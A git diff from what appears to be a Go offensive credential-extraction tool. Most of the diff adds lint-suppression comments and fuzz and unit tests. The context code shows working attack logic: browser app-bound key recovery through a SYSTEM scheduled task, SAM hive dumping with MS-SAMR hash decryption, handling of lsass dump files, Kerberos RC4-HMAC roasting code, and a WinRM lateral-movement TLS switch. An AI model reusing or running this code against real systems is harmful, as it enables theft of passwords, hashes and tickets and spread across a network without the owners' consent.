uintptr(unsafe.Pointer(&in[0])), uintptr(len(in)), 0, uintptr(unsafe.Pointer(&out[0])), uintptr(need), uintptr(unsafe.Pointer(&need)), 0x40); r != 0 { - return nil, fmt.Errorf("NCryptDecrypt: 0x%x", uint32(r)) + return nil, fmt.Errorf("NCryptDecrypt: 0x%x", uint32(r)) //#nosec G115 -- NTSTATUS is a 32-bit code carried in a uintptr return } return out[:need], nil } func xorBytes(a, b []byte) []byte { + if len(b) == 0 { + // Fail closed instead of dividing by zero in the modulo below: an empty + // key means the caller has nothing to XOR with, and returning nil makes + // the downstream AEAD reject it on key size rather than panicking. + return nil + } out := make([]byte, len(a)) for i := range a { out[i] = a[i] ^ b[i%len(b)] @@ -333,7 +339,7 @@ func ABEHelper(blobFile, keyFile string) int { _ = os.WriteFile(keyFile, []byte("ERR:"+stage), 0o600) return 3 } - raw, err := os.ReadFile(blobFile) + raw, err := os.ReadFile(blobFile) //#nosec G304 -- blobFile is written into our own MkdirTemp dir by runABESystemTask if err != nil || len(raw) == 0 { return fail("read-blob") } @@ -373,7 +379,7 @@ func ABEHelper(blobFile, keyFile string) int { if err != nil || len(key) != 32 { return fail("derive") } - if err := os.WriteFile(keyFile, key, 0o600); err != nil { + if err := os.WriteFile(keyFile, key, 0o600); err != nil { //#nosec G703 -- keyFile lives in our own MkdirTemp dir; path is not attacker-controlled return fail("write-key") } return 0 @@ -412,17 +418,17 @@ func runABESystemTask(blob []byte) ([]byte, error) { // immediately; schedule a near-future slot we never wait for. st := time.Now().Add(2 * time.Minute).Format("15:04") tr := fmt.Sprintf(`"%s" -abe-helper "%s" "%s"`, exe, blobFile, keyFile) - if out, err := exec.Command("schtasks", "/Create", "/TN", task, "/TR", tr, + if out, err := exec.Command("schtasks", "/Create", "/TN", task, "/TR", tr, //#nosec G204 -- fixed argv, generated task name, temp paths; no shell and no external input "/RU", "SYSTEM", "/SC", "ONCE", "/ST", st, "/F").CombinedOutput(); err != nil { return nil, fmt.Errorf("schtasks create: %v (%s)", err, truncateForLog(out)) } - defer exec.Command("schtasks", "/Delete", "/TN", task, "/F").Run() - if out, err := exec.Command("schtasks", "/Run", "/TN", task).CombinedOutput(); err != nil { + defer exec.Command("schtasks", "/Delete", "/TN", task, "/F").Run() //#nosec G204 -- fixed argv, generated task name + if out, err := exec.Command("schtasks", "/Run", "/TN", task).CombinedOutput(); err != nil { //#nosec G204 -- fixed argv, generated task name return nil, fmt.Errorf("schtasks run: %v (%s)", err, truncateForLog(out)) } deadline := time.Now().Add(20 * time.Second) for time.Now().Before(deadline) { - if data, err := os.ReadFile(keyFile); err == nil && len(data) > 0 { + if data, err := os.ReadFile(keyFile); err == nil && len(data) > 0 { //#nosec G304 -- keyFile lives in our own MkdirTemp dir if bytes.HasPrefix(data, []byte("ERR:")) { return nil, errors.New("abe helper: " + string(data[4:])) } @@ -451,7 +457,7 @@ func localStateField(browser, field string) ([]byte, error) { return nil, err } defer os.Remove(tmp) - raw, err := os.ReadFile(tmp) + raw, err := os.ReadFile(tmp) //#nosec G304 -- tmp is a forceCopy of a fixed browser profile path into our own temp file if err != nil { return nil, err } @@ -558,7 +564,7 @@ func masterKey(browser string) (masterKeys, error) { return mk, err } defer os.Remove(tmp) - raw, err := os.ReadFile(tmp) + raw, err := os.ReadFile(tmp) //#nosec G304 -- tmp is a forceCopy of a fixed browser profile path into our own temp file if err != nil { return mk, err } diff --git a/internal/audit/host_windows.go b/internal/audit/host_windows.go index 04b1971..96a0eee 100644 --- a/internal/audit/host_windows.go +++ b/internal/audit/host_windows.go @@ -67,7 +67,7 @@ func regDWORD(root registry.Key, path, name string) (uint32, bool, error) { } return 0, false, err } - return uint32(v), true, nil + return uint32(v), true, nil //#nosec G115 -- REG_DWORD is 32-bit by definition; values above 4 GiB cannot occur } // regSZ returns (value, present, error). diff --git a/internal/audit/regf.go b/internal/audit/regf.go index 75d5466..4666d4c 100644 --- a/internal/audit/regf.go +++ b/internal/audit/regf.go @@ -52,7 +52,7 @@ func (h *regfHive) cell(off uint32) ([]byte, error) { if p < regfHeaderSize || p+4 > len(h.data) { return nil, fmt.Errorf("regf: cell offset 0x%x out of range", off) } - size := int32(binary.LittleEndian.Uint32(h.data[p:])) + size := int32(binary.LittleEndian.Uint32(h.data[p:])) //#nosec G115 -- cell size is a signed 32-bit field per the regf on-disk format if size < 0 { size = -size } @@ -247,7 +247,7 @@ func (n *nk) value(name string) ([]byte, uint32, error) { } count := int(n.numValues) var offs []uint32 - if len(list) >= 4 && binary.LittleEndian.Uint32(list[0:4]) == uint32(count) { + if len(list) >= 4 && binary.LittleEndian.Uint32(list[0:4]) == uint32(count) { //#nosec G115 -- count is the key node's numValues, a uint32 field; conversion is exact // count-prefixed variant if 4+count*4 > len(list) { return nil, 0, fmt.Errorf("regf: value list of %q truncated", n.name) diff --git a/internal/audit/regf_fuzz_test.go b/internal/audit/regf_fuzz_test.go new file mode 100644 index 0000000..85c76db --- /dev/null +++ b/internal/audit/regf_fuzz_test.go @@ -0,0 +1,102 @@ +package audit + +// Fuzz target for the regf hive parser. +// +// regf.go consumes files produced by `reg save` — and, on a hostile host, a +// file an attacker can influence. The run that parses it holds an elevated +// token, so a panic here is not a test failure: it is a crash in the middle of +// a credential-extraction operation. Every offset the parser trusts is +// bounds-checked; this target exists to prove that under mutation and to keep +// it true through refactors. +// +// The seeds include a structurally valid hive (a root nk, plus a variant with +// an lf subkey list) so the fuzzer starts past the header check and into the +// key/subkey walk instead of bouncing off the signature every time. + +import ( + "encoding/binary" + "testing" +) + +// putCell writes one hive cell at a hive-relative offset: a negative 4-byte +// size header (the "allocated" marker) followed by a body that starts with the +// two-byte cell signature. fill may set further fields on the body. +func putCell(buf []byte, off, bodyLen int, sig string, fill func([]byte)) { + p := regfHeaderSize + off + binary.LittleEndian.PutUint32(buf[p:p+4], uint32(int32(-(bodyLen + 4)))) + body := buf[p+4 : p+4+bodyLen] + copy(body[0:2], sig) + if fill != nil { + fill(body) + } +} + +// buildHive assembles the smallest hive loadHive accepts with a root nk, and +// (when withChild) an "lf" subkey list pointing at one child nk. Offsets match +// the fields parseNK reads. +func buildHive(withChild bool) []byte { + buf := make([]byte, regfHeaderSize+0x200) + copy(buf[0:4], "regf") + binary.LittleEndian.PutUint32(buf[0x24:0x28], 0) // root nk at cell 0 + + putCell(buf, 0x00, nkMinSize, "nk", func(c []byte) { + if withChild { + binary.LittleEndian.PutUint32(c[0x14:0x18], 1) // numSubkeys + binary.LittleEndian.PutUint32(c[0x1C:0x20], 0x50) // subkey list at cell 0x50 + } + binary.LittleEndian.PutUint32(c[0x24:0x28], 0) // numValues + binary.LittleEndian.PutUint32(c[0x28:0x2C], 0xFFFFFFFF) // no value list + }) + if !withChild { + return buf + } + // cell 0x50: "lf" list, count 1, entry -> cell 0x60. + putCell(buf, 0x50, 12, "lf", func(c []byte) { + binary.LittleEndian.PutUint16(c[2:4], 1) + binary.LittleEndian.PutUint32(c[4:8], 0x60) + }) + // cell 0x60: the child nk. + putCell(buf, 0x60, nkMinSize, "nk", nil) + return buf +} + +// walkHive recurses over parsed subkeys with a hard depth cap: the parser +// already guards ri nesting, but a crafted self-referential hive must not turn +// the fuzzer into an unbounded loop either. +func walkHive(n *nk, depth int) { + if depth > 6 { + return + } + _, _ = n.className() + _, _, _ = n.value("") + subs, err := n.subkeys() + if err != nil { + return + } + for _, s := range subs { + walkHive(s, depth+1) + } +} + +func FuzzRegf(f *testing.F) { + f.Add(buildHive(false)) + f.Add(buildHive(true)) + f.Add([]byte("regf")) + f.Add([]byte{}) + f.Add(make([]byte, regfHeaderSize)) + + f.Fuzz(func(t *testing.T, data []byte) { + h, err := loadHive(data) + if err != nil { + return + } + root, err := h.root() + if err != nil { + return + } + walkHive(root, 0) + // Exercise the separate targeted-lookup paths too. + _, _ = h.openKey("SAM") + _, _ = root.subkey("ControlSet001") + }) +} diff --git a/internal/audit/regf_test.go b/internal/audit/regf_test.go new file mode 100644 index 0000000..216a216 --- /dev/null +++ b/internal/audit/regf_test.go @@ -0,0 +1,274 @@ +package audit + +// Parser tests for the regf hive reader. regf.go is platform-neutral, so these +// run on every runner — the fuzz target (regf_fuzz_test.go) hunts for panics +// under mutation; these pin the actual semantics on a hand-built hive: cell +// offsets, the resident-value encoding, subkey-list resolution, key class +// names and the LSA class hex decode. +// +// The synthetic hives are built with putCell/putRawCell rather than checked in +// as binary fixtures, so the byte layout each test depends on is visible in +// the test itself. + +import ( + "encoding/binary" + "testing" +) + +// putRawCell writes a hive cell with a negative size header and no signature +// (value lists and data cells have none). +func putRawCell(buf []byte, off, bodyLen int, fill func([]byte)) { + p := regfHeaderSize + off + binary.LittleEndian.PutUint32(buf[p:p+4], uint32(int32(-(bodyLen + 4)))) + body := buf[p+4 : p+4+bodyLen] + if fill != nil { + fill(body) + } +} + +// emptyHive returns a header-sized buffer with the regf signature and root +// pointer already written; tests then lay out cells with putCell/putRawCell. +func emptyHive() []byte { + buf := make([]byte, regfHeaderSize+0x400) + copy(buf[0:4], "regf") + binary.LittleEndian.PutUint32(buf[0x24:0x28], 0) // root nk at cell 0 + return buf +} + +func TestLoadHiveRejectsMalformedInput(t *testing.T) { + cases := map[string][]byte{ + "nil": nil, + "empty": {}, + "short": []byte("regf"), + "no magic": make([]byte, regfHeaderSize), + "bad magic": append([]byte("REGX"), make([]byte, regfHeaderSize)...), + } + for name, in := range cases { + if _, err := loadHive(in); err == nil { + t.Errorf("%s: loadHive accepted a malformed hive", name) + } + } +} + +func TestLoadHiveAcceptsBareHeader(t *testing.T) { + // A well-formed signature and length is all loadHive itself checks; the + // cell layout is validated lazily by root(). + if _, err := loadHive(emptyHive()); err != nil { + t.Fatalf("loadHive(valid header) = %v, want nil", err) + } +} + +func TestRootParsesKeyNode(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "nk", func(c []byte) { + binary.LittleEndian.PutUint32(c[0x14:0x18], 2) // numSubkeys + binary.LittleEndian.PutUint32(c[0x24:0x28], 3) // numValues + binary.LittleEndian.PutUint32(c[0x28:0x2C], 0xFFFFFFFF) // no value list + }) + + h, err := loadHive(buf) + if err != nil { + t.Fatalf("loadHive: %v", err) + } + root, err := h.root() + if err != nil { + t.Fatalf("root: %v", err) + } + if root.numSubkeys != 2 || root.numValues != 3 { + t.Errorf("root = %d subkeys / %d values, want 2/3", root.numSubkeys, root.numValues) + } + // subkeyOffsets short-circuits to (nil, nil) when subkeyList is + // 0xFFFFFFFF or numSubkeys is 0; here numSubkeys is non-zero but the list + // offset is 0, which must produce an error rather than a panic. + if _, err := root.subkeys(); err == nil { + t.Error("subkeys() with a bogus list offset: want error, got nil") + } +} + +func TestRootRejectsNonKeyCell(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "vk", nil) // wrong signature + h, _ := loadHive(buf) + if _, err := h.root(); err == nil { + t.Error("root() on a vk cell: want error, got nil") + } +} + +func TestRootRejectsOutOfRangeOffset(t *testing.T) { + buf := emptyHive() + binary.LittleEndian.PutUint32(buf[0x24:0x28], 0xFFFFFF00) // past the end + h, _ := loadHive(buf) + if _, err := h.root(); err == nil { + t.Error("root() with an out-of-range offset: want error, got nil") + } +} + +// TestValueResidentAndMissing covers the value list -> vk chain, including the +// resident encoding where the data lives inside the offset field. +func TestValueResidentAndMissing(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "nk", func(c []byte) { + binary.LittleEndian.PutUint32(c[0x24:0x28], 1) // numValues + binary.LittleEndian.PutUint32(c[0x28:0x2C], 0x50) // value list at cell 0x50 + }) + putRawCell(buf, 0x50, 4, func(c []byte) { + binary.LittleEndian.PutUint32(c[0:4], 0x60) // one vk at cell 0x60 + }) + putCell(buf, 0x60, vkMinSize+4, "vk", func(c []byte) { + binary.LittleEndian.PutUint16(c[0x02:0x04], 4) // nameLen + binary.LittleEndian.PutUint32(c[0x04:0x08], 0x80000003) // resident, 3 bytes + copy(c[0x08:0x0B], "abc") // resident data + binary.LittleEndian.PutUint32(c[0x0C:0x10], 1) // REG_SZ + copy(c[vkMinSize:vkMinSize+4], "Test") + }) + + h, err := loadHive(buf) + if err != nil { + t.Fatalf("loadHive: %v", err) + } + root, err := h.root() + if err != nil { + t.Fatalf("root: %v", err) + } + data, typ, err := root.value("Test") + if err != nil { + t.Fatalf("value(Test): %v", err) + } + if string(data) != "abc" || typ != 1 { + t.Errorf("value(Test) = %q/%d, want \"abc\"/1", data, typ) + } + // Value names are case-insensitive, as in the live registry. + if _, _, err := root.value("tEsT"); err != nil { + t.Errorf("value lookup should be case-insensitive: %v", err) + } + if _, _, err := root.value("Missing"); err == nil { + t.Error("value(Missing): want error, got nil") + } +} + +func TestSubkeyListAndPathWalk(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "nk", func(c []byte) { + binary.LittleEndian.PutUint32(c[0x14:0x18], 1) // numSubkeys + binary.LittleEndian.PutUint32(c[0x1C:0x20], 0x50) // subkey list + binary.LittleEndian.PutUint32(c[0x28:0x2C], 0xFFFFFFFF) // no values + }) + putCell(buf, 0x50, 12, "lf", func(c []byte) { + binary.LittleEndian.PutUint16(c[2:4], 1) + binary.LittleEndian.PutUint32(c[4:8], 0x60) + }) + // Child key named "SAM" (ASCII-compressed: nk flag bit 0x20). + putCell(buf, 0x60, nkMinSize+3, "nk", func(c []byte) { + binary.LittleEndian.PutUint16(c[0x02:0x04], nkFlagASCIIName) + binary.LittleEndian.PutUint16(c[0x48:0x4A], 3) // nameLen + copy(c[nkMinSize:nkMinSize+3], "SAM") + }) + + h, err := loadHive(buf) + if err != nil { + t.Fatalf("loadHive: %v", err) + } + root, err := h.root() + if err != nil { + t.Fatalf("root: %v", err) + } + subs, err := root.subkeys() + if err != nil { + t.Fatalf("subkeys: %v", err) + } + if len(subs) != 1 || subs[0].name != "SAM" { + t.Fatalf("subkeys = %d entries (%q), want 1 (\"SAM\")", len(subs), names(subs)) + } + child, err := root.subkey("sam") // case-insensitive + if err != nil { + t.Fatalf("subkey(sam): %v", err) + } + if child.name != "SAM" { + t.Errorf("subkey(sam).name = %q, want SAM", child.name) + } + if _, err := root.subkey("nope"); err == nil { + t.Error("subkey(nope): want error, got nil") + } + if got, err := h.openKey("SAM"); err != nil || got.name != "SAM" { + t.Errorf("openKey(SAM) = %v/%q, want nil/SAM", err, got.name) + } + if _, err := h.openKey("SAM\\Deeper"); err == nil { + t.Error("openKey(SAM\\Deeper): want error, got nil") + } +} + +// TestClassNameHexRoundTrip mirrors how the boot key components are read: an +// nk pointing at a class cell holding an 8-char hex string. +func TestClassNameHexRoundTrip(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "nk", func(c []byte) { + binary.LittleEndian.PutUint32(c[0x30:0x34], 0x50) // classOff + binary.LittleEndian.PutUint16(c[0x4A:0x4C], 8) // classLen + binary.LittleEndian.PutUint32(c[0x28:0x2C], 0xFFFFFFFF) + }) + putRawCell(buf, 0x50, 8, func(c []byte) { copy(c, "a1b2c3d4") }) + + h, err := loadHive(buf) + if err != nil { + t.Fatalf("loadHive: %v", err) + } + root, err := h.root() + if err != nil { + t.Fatalf("root: %v", err) + } + class, err := root.className() + if err != nil { + t.Fatalf("className: %v", err) + } + if class != "a1b2c3d4" { + t.Fatalf("className = %q, want a1b2c3d4", class) + } + got, err := hexClass(class) + if err != nil { + t.Fatalf("hexClass(%q): %v", class, err) + } + want := []byte{0xa1, 0xb2, 0xc3, 0xd4} + if len(got) != 4 || got[0] != want[0] || got[3] != want[3] { + t.Errorf("hexClass = %x, want %x", got, want) + } +} + +func TestClassNameEmptyWhenAbsent(t *testing.T) { + buf := emptyHive() + putCell(buf, 0x00, nkMinSize, "nk", nil) + h, _ := loadHive(buf) + root, err := h.root() + if err != nil { + t.Fatalf("root: %v", err) + } + if got, err := root.className(); err != nil || got != "" { + t.Errorf("className with no class = %q/%v, want \"\"/nil", got, err) + } +} + +func TestHexClassValidation(t *testing.T) { + bad := []string{"", "abc", "abcdefghi", "zzzzzzzz", "a1b2c3d"} + for _, s := range bad { + if _, err := hexClass(s); err == nil { + t.Errorf("hexClass(%q) = nil error, want rejection", s) + } + } + got, err := hexClass(" A1B2C3D4 ") // trimmed, upper case accepted + if err != nil { + t.Fatalf("hexClass(hex with padding): %v", err) + } + if len(got) != 4 || got[0] != 0xa1 { + t.Errorf("hexClass = %x, want a1b2c3d4", got) + } +} + +func names(ns []*nk) string { + out := "" + for i, n := range ns { + if i > 0 { + out += "," + } + out += n.name + } + return out +} diff --git a/internal/audit/sam_windows.go b/internal/audit/sam_windows.go index 51edb3f..bda40a5 100644 --- a/internal/audit/sam_windows.go +++ b/internal/audit/sam_windows.go @@ -32,8 +32,8 @@ import ( "bytes" "crypto/aes" "crypto/cipher" - "crypto/des" - "crypto/md5" + "crypto/des" //#nosec G502 -- DES is mandated by [MS-SAMR] 2.2.11 key derivation; the wire format dictates the primitive + "crypto/md5" //#nosec G501 -- MD5 is mandated by the SAM revision-1 key derivation in [MS-SAMR] "encoding/binary" "encoding/hex" "fmt" @@ -75,13 +75,13 @@ func DumpSAM(em Emitter) ([]SAMAccount, error) { // Read both hives into memory, then wipe and delete the on-disk copies // right away: from here on the secrets live only in this process. - sysData, err := os.ReadFile(sysFile) + sysData, err := os.ReadFile(sysFile) //#nosec G304 -- sysFile is a fixed System32\config path we produced with RegSaveKeyEx wipeAndRemove(sysFile) if err != nil { wipeAndRemove(samFile) return nil, fmt.Errorf("sam: read SYSTEM: %w", err) } - samData, err := os.ReadFile(samFile) + samData, err := os.ReadFile(samFile) //#nosec G304 -- samFile is a fixed System32\config path we produced with RegSaveKeyEx wipeAndRemove(samFile) if err != nil { return nil, fmt.Errorf("sam: read SAM: %w", err) @@ -184,7 +184,7 @@ func enablePrivilege(name string) error { // wipeAndRemove overwrites a secrets-bearing file with zeros (best effort — // a journaling FS keeps the old blocks until reuse) and unlinks it. func wipeAndRemove(path string) { - if f, err := os.OpenFile(path, os.O_WRONLY, 0); err == nil { + if f, err := os.OpenFile(path, os.O_WRONLY, 0); err == nil { //#nosec G304 -- path is a hive copy we wrote into our own temp dir _ = f.Truncate(0) f.Close() } @@ -293,7 +293,7 @@ func hashedBootKeyRC4(bootKey, salt, stored []byte) ([]byte, error) { if len(stored) < 32 || len(salt) != 16 || len(bootKey) != 16 { return nil, fmt.Errorf("sam: revision-1 key material malformed") } - h := md5.New() + h := md5.New() //#nosec G401 -- MD5 as specified by [MS-SAMR] 2.2.11.1.1, not a security choice h.Write(salt) h.Write(qwertyConst) h.Write(bootKey) @@ -371,7 +371,7 @@ func parseUserV(rid uint32, v, hbk []byte) (acc SAMAccount, ok bool, err error) le32 := func(off int) uint32 { return binary.LittleEndian.Uint32(v[off : off+4]) } data := v[userVData:] slice := func(off, ln uint32) ([]byte, error) { - if off > uint32(len(data)) || ln > uint32(len(data))-off { + if off > uint32(len(data)) || ln > uint32(len(data))-off { //#nosec G115 -- data is an in-memory hive, far below 4 GiB return nil, fmt.Errorf("sam: RID %d: data slice [%d:+%d] out of %d bytes", rid, off, ln, len(data)) } return data[off : off+ln], nil @@ -458,7 +458,7 @@ func decryptHash(hbk []byte, rid uint32, blob []byte, newStyle bool, constant [] if len(blob) < 20 { return nil, fmt.Errorf("RC4 hash blob too small (%d bytes)", len(blob)) } - h := md5.New() + h := md5.New() //#nosec G401 -- MD5 as specified by [MS-SAMR] 2.2.11.1.2 (RC4 hash blob) h.Write(hbk[:16]) var r [4]byte binary.LittleEndian.PutUint32(r[:], rid) @@ -471,11 +471,11 @@ func decryptHash(hbk []byte, rid uint32, blob []byte, newStyle bool, constant [] } k1, k2 := deriveDESKeys(rid) - c1, err := des.NewCipher(k1) + c1, err := des.NewCipher(k1) //#nosec G405 -- DES per [MS-SAMR] 2.2.11.1.1 (revision-1 hash decryption) if err != nil { return nil, err } - c2, err := des.NewCipher(k2) + c2, err := des.NewCipher(k2) //#nosec G405 -- DES per [MS-SAMR] 2.2.11.1.1 (revision-1 hash decryption) if err != nil { return nil, err } diff --git a/internal/audit/wipe.go b/internal/audit/wipe.go index bc50626..808b305 100644 --- a/internal/audit/wipe.go +++ b/internal/audit/wipe.go @@ -13,6 +13,8 @@ import "os" // non-Windows build the old stub returned nil, so the endpoint answered // "dump wiped" while the file was still on disk. func WipeFile(path string) error { + //#nosec G304 -- the only caller confines path to an obl-lsass-*.dmp file + // directly inside the temp dir before calling; see the doc comment above. if f, err := os.OpenFile(path, os.O_WRONLY, 0); err == nil { _ = f.Truncate(0) _ = f.Close() diff --git a/internal/audit/wipe_test.go b/internal/audit/wipe_test.go new file mode 100644 index 0000000..83e9a0f --- /dev/null +++ b/internal/audit/wipe_test.go @@ -0,0 +1,57 @@ +package audit + +// WipeFile is deliberately portable (see wipe.go): it is the delete half of the +// lsass-dump cleanup and the cross-platform test below is what caught the old +// Windows-only stub silently reporting "wiped" on a non-Windows build. + +import ( + "os" + "path/filepath" + "testing" +) + +func TestWipeFileRemovesFile(t *testing.T) { + dir := t.TempDir() + p := filepath.Join(dir, "obl-lsass-4242.dmp") + if err := os.WriteFile(p, []byte("pretend this is a credential dump"), 0o600); err != nil { + t.Fatalf("seed file: %v", err) + } + if err := WipeFile(p); err != nil { + t.Fatalf("WipeFile: %v", err) + } + if _, err := os.Stat(p); !os.IsNotExist(err) { + t.Fatalf("file still present after WipeFile: stat err = %v", err) + } +} + +func TestWipeFileTruncatesBeforeUnlink(t *testing.T) { + // A hard link pins the inode: after WipeFile, the other name must observe a + // zero-length file rather than the original bytes. This is the assertion + // the old stub failed — it never touched the contents. + dir := t.TempDir() + p := filepath.Join(dir, "obl-lsass-1.dmp") + link := filepath.Join(dir, "pinned.bin") + secret := []byte("SEKRIT-DUMP-BYTES") + if err := os.WriteFile(p, secret, 0o600); err != nil { + t.Fatalf("seed file: %v", err) + } + if err := os.Link(p, link); err != nil { + t.Skipf("hard links unavailable: %v", err) + } + if err := WipeFile(p); err != nil { + t.Fatalf("WipeFile: %v", err) + } + got, err := os.ReadFile(link) + if err != nil { + t.Fatalf("read linked copy: %v", err) + } + if len(got) != 0 { + t.Errorf("linked copy still holds %d bytes after WipeFile, want 0", len(got)) + } +} + +func TestWipeFileMissingFileErrors(t *testing.T) { + if err := WipeFile(filepath.Join(t.TempDir(), "does-not-exist.dmp")); err == nil { + t.Error("WipeFile on a missing file: want error, got nil") + } +} diff --git a/internal/elevate/elevate_windows_test.go b/internal/elevate/elevate_windows_test.go new file mode 100644 index 0000000..14eff21 --- /dev/null +++ b/internal/elevate/elevate_windows_test.go @@ -0,0 +1,45 @@ +//go:build windows + +package elevate + +import ( + "strings" + "testing" + + "golang.org/x/sys/windows" +) + +// The error type carries the only message the operator sees when UAC is +// declined, and MarkerArg is the handshake that tells the elevated child it was +// launched by RelaunchElevated rather than by hand. Both are cheap to pin. +func TestElevateErrorAndMarker(t *testing.T) { + if errCancelled.Error() == "" { + t.Error("errCancelled must carry a message for the operator") + } + var err error = elevateError("boom") + if err.Error() != "boom" { + t.Errorf("elevateError(\"boom\").Error() = %q", err.Error()) + } + if !strings.Contains(MarkerArg, "elevation") { + t.Errorf("MarkerArg = %q, want the documented -elevation-attempted handshake", MarkerArg) + } + // StripMarker must recognise exactly what RelaunchElevated appends. + if _, ok := StripMarker([]string{"obl.exe", MarkerArg}); !ok { + t.Error("StripMarker did not recognise the marker RelaunchElevated appends") + } +} + +// TestIsAdminAgreesWithToken exercises IsAdmin without elevating anything; on a +// non-elevated CI runner it must report false, on an elevated shell true. +func TestIsAdminAgreesWithToken(t *testing.T) { + got := IsAdmin() + + var token windows.Token + if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_QUERY, &token); err != nil { + t.Skipf("cannot open own process token: %v", err) + } + defer token.Close() + if want := token.IsElevated(); got != want { + t.Errorf("IsAdmin() = %v, want %v (token says %v)", got, want, want) + } +} diff --git a/internal/krb/krb.go b/internal/krb/krb.go index f64f4e1..6484512 100644 --- a/internal/krb/krb.go +++ b/internal/krb/krb.go @@ -20,9 +20,9 @@ package krb import ( "crypto/hmac" - "crypto/md5" + "crypto/md5" //#nosec G501 -- MD4/MD5 chain mandated by MS-NLMP / RC4-HMAC (RFC 4757); the protocol fixes the primitive "crypto/rand" - "crypto/rc4" + "crypto/rc4" //#nosec G503 -- RC4-HMAC is the etype-23 cipher the KDC speaks; interoperability requires it "encoding/asn1" "encoding/binary" "encoding/hex" @@ -177,7 +177,7 @@ func rc4Encrypt(key []byte, usage uint32, plain []byte) []byte { chk := hmacMD5(k1, payload) k3 := hmacMD5(k1, chk) - c, _ := rc4.NewCipher(k3) + c, _ := rc4.NewCipher(k3) //#nosec G405 -- RC4-HMAC (etype 23) per RFC 4757 ct := make([]byte, len(payload)) c.XORKeyStream(ct, payload) return append(chk, ct...) @@ -194,7 +194,7 @@ func rc4Decrypt(key []byte, usage uint32, blob []byte) ([]byte, bool) { binary.LittleEndian.PutUint32(u[:], usage) k1 := hmacMD5(key, u[:]) k3 := hmacMD5(k1, chk) - c, _ := rc4.NewCipher(k3) + c, _ := rc4.NewCipher(k3) //#nosec G405 -- RC4-HMAC (etype 23) per RFC 4757 pt := make([]byte, len(ct)) c.XORKeyStream(pt, ct) if !hmac.Equal(chk, hmacMD5(k1, pt)) { @@ -219,11 +219,11 @@ func rc4Checksum(key []byte, usage uint32, text []byte) []byte { func derLen(n int) []byte { switch { case n < 0x80: - return []byte{byte(n)} + return []byte{byte(n)} //#nosec G115 -- DER short-form length: n < 0x80 by the case above case n < 0x100: return []byte{0x81, byte(n)} default: - return []byte{0x82, byte(n >> 8), byte(n)} + return []byte{0x82, byte(n >> 8), byte(n)} //#nosec G115 -- DER long-form length: emits the two length bytes we already bounded } } @@ -235,10 +235,10 @@ func der(tag byte, content []byte) []byte { } // ctx wraps content in a context-specific constructed tag [n]. -func ctx(n int, content []byte) []byte { return der(byte(0xA0|n), content) } +func ctx(n int, content []byte) []byte { return der(byte(0xA0|n), content) } //#nosec G115 -- tag numbers are small constants // app wraps content in an APPLICATION constructed tag [n]. -func app(n int, content []byte) []byte { return der(byte(0x60+n), content) } +func app(n int, content []byte) []byte { return der(byte(0x60+n), content) } //#nosec G115 -- tag numbers are small constants func derSeq(parts ...[]byte) []byte { var buf []byte @@ -253,9 +253,9 @@ func derInt(i int64) []byte { if i == 0 { b = []byte{0} } else { - u := uint64(i) + u := uint64(i) //#nosec G115 -- DER INTEGER is two's complement; the cast is intentional (see the i < 0 case) if i < 0 { - u = uint64(i) // two's complement via int64 → uint64 cast + u = uint64(i) //#nosec G115 -- two's complement via int64 → uint64 cast (intentional) } b = make([]byte, 0, 8) for u != 0 { @@ -639,7 +639,7 @@ func exchangeTCP(kdc string, req []byte) ([]byte, error) { defer conn.Close() _ = conn.SetDeadline(time.Now().Add(15 * time.Second)) msg := make([]byte, 4+len(req)) - binary.BigEndian.PutUint32(msg[:4], uint32(len(req))) + binary.BigEndian.PutUint32(msg[:4], uint32(len(req))) //#nosec G115 -- KDC request length prefix; requests are built in memory, far below 4 GiB copy(msg[4:], req) if _, err := conn.Write(msg); err != nil { return nil, err @@ -691,7 +691,7 @@ func errText(code int64) string { func nonce() uint32 { var b [4]byte if _, err := rand.Read(b[:]); err != nil { - return uint32(time.Now().UnixNano()) + return uint32(time.Now().UnixNano()) //#nosec G115 -- fallback nonce: the low 32 bits are the nonce, per RFC 4120 } return binary.BigEndian.Uint32(b[:]) } diff --git a/internal/krb/krb_fuzz_test.go b/internal/krb/krb_fuzz_test.go new file mode 100644 index 0000000..12f1553 --- /dev/null +++ b/internal/krb/krb_fuzz_test.go @@ -0,0 +1,30 @@ +package krb + +// Fuzz target for the KDC response parser. +// +// parseRep decodes what arrives on the wire from a host answering on port 88 — +// a domain controller we hope is honest, or whatever a hostile network planted +// in its place. That is untrusted input, and a panic here aborts the roast path +// mid-engagement, so the exhaustive decoder needs proof it rejects garbage +// without dying. The seed reuses the known-good KRB-ERROR vector from the unit +// tests so the fuzzer mutates a decodable structure. + +import "testing" + +func FuzzParseRep(f *testing.F) { + // KRB-ERROR ::= [APPLICATION 30] with error-code [6] = 25, plus pvno and + // msg-type, i.e. the same shape TestParseKRBError pins. + f.Add(app(30, append(ctx(0, derInt(5)), append(ctx(1, derInt(30)), ctx(6, derInt(25))...)...))) + // AS-REP ::= [APPLICATION 11] with pvno/msg-type and an EncryptedData [6]. + ed := ctx(6, derSeq(derInt(23), derOctet([]byte{0xde, 0xad, 0xbe, 0xef}))) + asrep := append(ctx(0, derInt(5)), ctx(1, derInt(11))...) + asrep = append(asrep, ed...) + f.Add(app(11, asrep)) + f.Add([]byte{}) + f.Add([]byte{0x7e}) // APPLICATION 30 tag, no length + f.Add([]byte{0x6b}) // APPLICATION 11 tag, no length + + f.Fuzz(func(t *testing.T, data []byte) { + _, _, _, _ = parseRep(data) + }) +} diff --git a/internal/lateral/tls_test.go b/internal/lateral/tls_test.go new file mode 100644 index 0000000..a5bc991 --- /dev/null +++ b/internal/lateral/tls_test.go @@ -0,0 +1,20 @@ +package lateral + +import "testing" + +// insecureTLS is the opt-in escape hatch for a lab WinRM listener with a +// self-signed certificate. The invariant worth pinning: certificate +// verification is only ever skipped when the operator asked for it. A +// regression that returned an insecure config by default would be silent. +func TestInsecureTLSIsOptIn(t *testing.T) { + if cfg := insecureTLS(false); cfg != nil { + t.Errorf("insecureTLS(false) = %+v, want nil so Go's default verification applies", cfg) + } + cfg := insecureTLS(true) + if cfg == nil { + t.Fatal("insecureTLS(true) = nil, want a config with InsecureSkipVerify") + } + if !cfg.InsecureSkipVerify { + t.Error("insecureTLS(true).InsecureSkipVerify = false, want true") + } 